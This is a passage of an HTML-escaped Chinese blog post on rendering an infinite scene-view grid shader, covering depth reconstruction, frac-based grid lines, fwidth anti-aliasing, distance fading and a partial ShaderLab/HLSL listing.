class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e得到深度\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e深度要用 \u003ccode\u003eSV_Depth\u003c/code\u003e 输出,保证之后能正确地进行深度测试。然后直接套公式就有世界坐标了。\u003c/p\u003e\n\u003ch2 id=\"生成网格\"\u003e生成网格\u003ca class=\"headerlink\" href=\"#生成网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e生成网格需要对 \u003ccode\u003exz\u003c/code\u003e 坐标应用周期函数,常用 \u003ccode\u003efrac\u003c/code\u003e。\u003ccode\u003efrac\u003c/code\u003e 有很多种定义 \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e,hlsl 文档中说得也不太清楚:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eReturns the fractional (or decimal) part of x; which is greater than or equal to 0 and less than 1. \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我测试了下发现\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{frac}(x) = x - \\lfloor x \\rfloor\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"图像\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014132645.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e通常用一对花括号表示这种计算 \u003ccode\u003efrac\u003c/code\u003e 的方法\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\{x\\} := x - \\lfloor x \\rfloor\n\\]\u003c/div\u003e\n\u003cp\u003e稍微变化一下就能生成三角波\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | \\text{frac}(x) - 0.5 \\right |\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"图像\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014143013.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e大于阈值的部分就是网格线。\u003c/p\u003e\n\u003ch2 id=\"反锯齿\"\u003e反锯齿\u003ca class=\"headerlink\" href=\"#反锯齿\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e直接用 \u003ccode\u003estep\u003c/code\u003e 绘制的网格线锯齿很严重,尤其是斜着看远处的时候。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"锯齿\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014134120.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e简单建个模分析一下:假设一个人在 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 点,与地面夹角为 \u003cspan class=\"arithmatex\"\u003e\\(\\alpha\\)\u003c/span\u003e 观察 \u003cspan class=\"arithmatex\"\u003e\\(B\\)\u003c/span\u003e 点处的网格。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"简化模型\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014141906.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e可以算出\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathrm{d}x=\\frac{\\left | \\text{AB} \\right | \\sin \\mathrm{d} \\theta}{\\sin \\left (\\alpha - \\mathrm{d} \\theta \\right )}\n\\]\u003c/div\u003e\n\u003cp\u003e当 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} \\theta\\)\u003c/span\u003e 不变时,距离 \u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AB} \\right |\\)\u003c/span\u003e 越大,夹角 \u003cspan class=\"arithmatex\"\u003e\\(\\alpha\\)\u003c/span\u003e 越小,\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大。\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 就是屏幕上相邻两个像素对应的 \u003ccode\u003epositionWS\u003c/code\u003e 的距离,也是在三角波上相邻两个采样点的间隔。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"dx 的意义\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014144145.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e采样间隔越大,就越不准,越可能漏掉网格线,导致锯齿。所以应该根据 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 动态调整阈值,\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大,阈值就越小(网格线越粗)。对相邻像素的 \u003ccode\u003epositionWS\u003c/code\u003e 做 \u003ca href=\"../../../eccd-afbe-cebg/\"\u003e差分\u003c/a\u003e 就能估计出 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e,因为要同时考虑屏幕的 X 方向和 Y 方向,所以使用 \u003ccode\u003efwidth\u003c/code\u003e 函数,即 \u003ccode\u003eabs(ddx(x)) + abs(ddy(x))\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e另外,把 \u003ccode\u003estep\u003c/code\u003e 换成 \u003ccode\u003esmoothstep\u003c/code\u003e 羽化网格线的边缘,可以进一步减少锯齿。\u003c/p\u003e\n\u003ch2 id=\"淡化远处的网格\"\u003e淡化远处的网格\u003ca class=\"headerlink\" href=\"#淡化远处的网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e现在锯齿没了,但远处的网格看上去非常密,很丑。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"远处的网格基本变成了色块\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014150052.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e可以像网上的文章一样,计算 \u003ccode\u003eLinearEyeDepth\u003c/code\u003e 或者 \u003ccode\u003eLinear01Depth\u003c/code\u003e 然后将远处的 \u003ccode\u003ealpha\u003c/code\u003e 变小。也可以直接用 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 来调整 \u003ccode\u003ealpha\u003c/code\u003e。根据前面的公式,线越密的地方 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大,反之亦然。\u003c/p\u003e\n\u003ch2 id=\"分层\"\u003e分层\u003ca class=\"headerlink\" href=\"#分层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e根据相机离 XOZ 平面的距离,选择不同的格子大小绘制网格线。如果两条线之间的距离是 \u003ccode\u003egridWidth\u003c/code\u003e,则\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003efrac\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e将两个不同 \u003ccode\u003egridWidth\u003c/code\u003e 对应的网格线算出来后,线性插值一下就有过渡效果了。\u003ccode\u003egridWidth\u003c/code\u003e 建议指数级增大,这样才有大格子套小格子的感觉。\u003c/p\u003e\n\u003ch2 id=\"实现\"\u003e实现\u003ca class=\"headerlink\" href=\"#实现\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e代码是用我自制的 DX12 ShaderLab 编写的,和 Unity 的稍有不同。\u003c/li\u003e\n\u003cli\u003e因为是屏幕空间效果,所以需要做全屏 Blit。Vertex Shader 参考了 \u003ca href=\"../unity-srp-fullscreen-blit/\"\u003eUnity SRP 全屏 Blit 原理\u003c/a\u003e 。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eShader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;SceneViewGrid\u0026quot;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eProperties\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;X Axis Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Z Axis Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Line Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eRange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Anti-aliasing\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eRange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Fade Out\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.8\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePass\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eName\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;WorldGrid\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCull\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOff\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZTest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLess\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZWrite\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOff\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSrcAlpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOneMinusSrcAlpha\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZero\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOne\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHLSLPROGRAM\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma target 6.0\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma vs vert\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma ps frag\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Lighting.hlsl\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecbuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecbMaterial\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecbuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecbPass\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixView\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvView\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Time\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_CameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLightData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LightData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LIGHT_COUNT\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LightCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 